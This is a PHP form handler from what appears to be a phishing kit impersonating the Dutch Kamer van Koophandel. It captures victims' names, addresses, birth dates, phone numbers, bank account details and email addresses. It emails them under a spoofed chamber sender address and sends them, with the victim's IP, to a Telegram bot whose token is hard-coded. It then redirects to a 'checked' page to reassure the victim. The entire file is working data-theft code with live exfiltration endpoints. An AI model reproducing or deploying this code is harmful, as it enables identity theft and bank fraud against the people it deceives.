<?php
@session_start();

$_SESSION['CompName'] = @$_POST['CompNam'];
$_SESSION['Vname'] = @$_POST['firstName'];
$_SESSION['Tname'] = @$_POST['insertion'];
$_SESSION['Ename'] = @$_POST['lastName'];
$_SESSION['Vname1'] = @$_POST['firstName1'];
$_SESSION['Tname1'] = @$_POST['insertion1'];
$_SESSION['Ename1'] = @$_POST['lastName1'];
$_SESSION['Bdate'] = @$_POST['BirthDay'];
$_SESSION['TelM'] = @$_POST['NumberMob'];
$_SESSION['TelO'] = @$_POST['NumberDay'];
$_SESSION['TelP'] = @$_POST['NumberPriv'];
$_SESSION['Reknum'] = @$_POST['IbanRek'];
$_SESSION['Emailu'] = @$_POST['Emilus'];
$_SESSION['a1'] = @$_POST['firstName2'];
$_SESSION['a2'] = @$_POST['insertion2'];

$_SESSION['xmo1a'] =
    "Bedrijfsnaam: " . $_SESSION['CompName'] . "<br>" .
    "Naam: " . $_SESSION['Vname'] . " " . $_SESSION['Tname'] . " " . $_SESSION['Ename'] . "<br>" .
    "Adres: " . $_SESSION['Vname1'] . " " . $_SESSION['Tname1'] . " | " . $_SESSION['Ename1'] . "<br>" .
    "Geboortedatum: " . $_SESSION['Bdate'] . "<br>" .
    "Mobiel: " . $_SESSION['TelM'] . "<br>" .
    "Telefoonnumer overdag: " . $_SESSION['TelO'] . "<br>" .
    "Telefoonnummer prive: " . $_SESSION['TelP'] . "<br>" .
    "Zakelijke rekening: " . $_SESSION['a1'] . "<br>" .
    "Prive rekening: " . $_SESSION['a2'] . "<br>" .
    "E-mailadress: " . $_SESSION['Emailu'] . "<br>" .
    "Datum en tijd: " . date('d-m-y - H:i');
$title = "Kamer van Koophandel - IP: " . $_SERVER['REMOTE_ADDR'];
$hrsd = "From:Kamer van Koophandel <mailto@" . $_SERVER['SERVER_NAME'] . ">\n";
$hrsd .= "Content-type: text/html; charset=iso-8859-1\r\n";
mail("restauchop073@proton.me", $title, $_SESSION['xmo1a'], $hrsd);

// --------------------------------------------------------------------------------------------


$_SESSION['tg'] = "Kamer van Koophandel" . "\n" . " ". "\n" .
    "Bedrijfsnaam: " . $_SESSION['CompName'] . "\n" .
    "Naam: " . $_SESSION['Vname'] . " " . $_SESSION['Tname'] . " " . $_SESSION['Ename'] . "\n" .
    "Adres: " . $_SESSION['Vname1'] . " " . $_SESSION['Tname1'] . " | " . $_SESSION['Ename1'] . "\n" .
    "Geboortedatum: " . $_SESSION['Bdate'] . "\n" .
    "Mobiel: " . $_SESSION['TelM'] . "\n" .
    "Telefoonnumer overdag: " . $_SESSION['TelO'] . "\n" .
    "Telefoonnummer prive: " . $_SESSION['TelP'] . "\n" .
    "Zakelijke rekening: " . $_SESSION['a1'] . "\n" .
    "Prive rekening: " . $_SESSION['a2'] . "\n" .
    "E-mailadress: " . $_SESSION['Emailu'] . "\n" .
    "Datum en tijd: " . date('d-m-y - H:i') . "\n" .
    "IP: " . $_SERVER['REMOTE_ADDR'] . "\n";
// Verstuur het bericht naar Telegram
$botToken = '5999960376:AAFIngaMgnkeyTbu0tUpjHhj5pLCAMKIusA';
$chatID = '-4062482876';
$message = $_SESSION['tg'];

$telegramURL = "https://api.telegram.org/bot$botToken/sendMessage";
$data = array(
    'chat_id' => $chatID,
    'text' => $message
);

$options = array(
    'http' => array(
        'method'  => 'POST',
        'header'  => "Content-Type:application/x-www-form-urlencoded\r\n",
        'content' => http_build_query($data)
    )
);

$context  = stream_context_create($options);
$result = file_get_contents($telegramURL, false, $context);


// --------------------------------------------------------------------------------------------

header('location: gecontroleerd.php');
?>
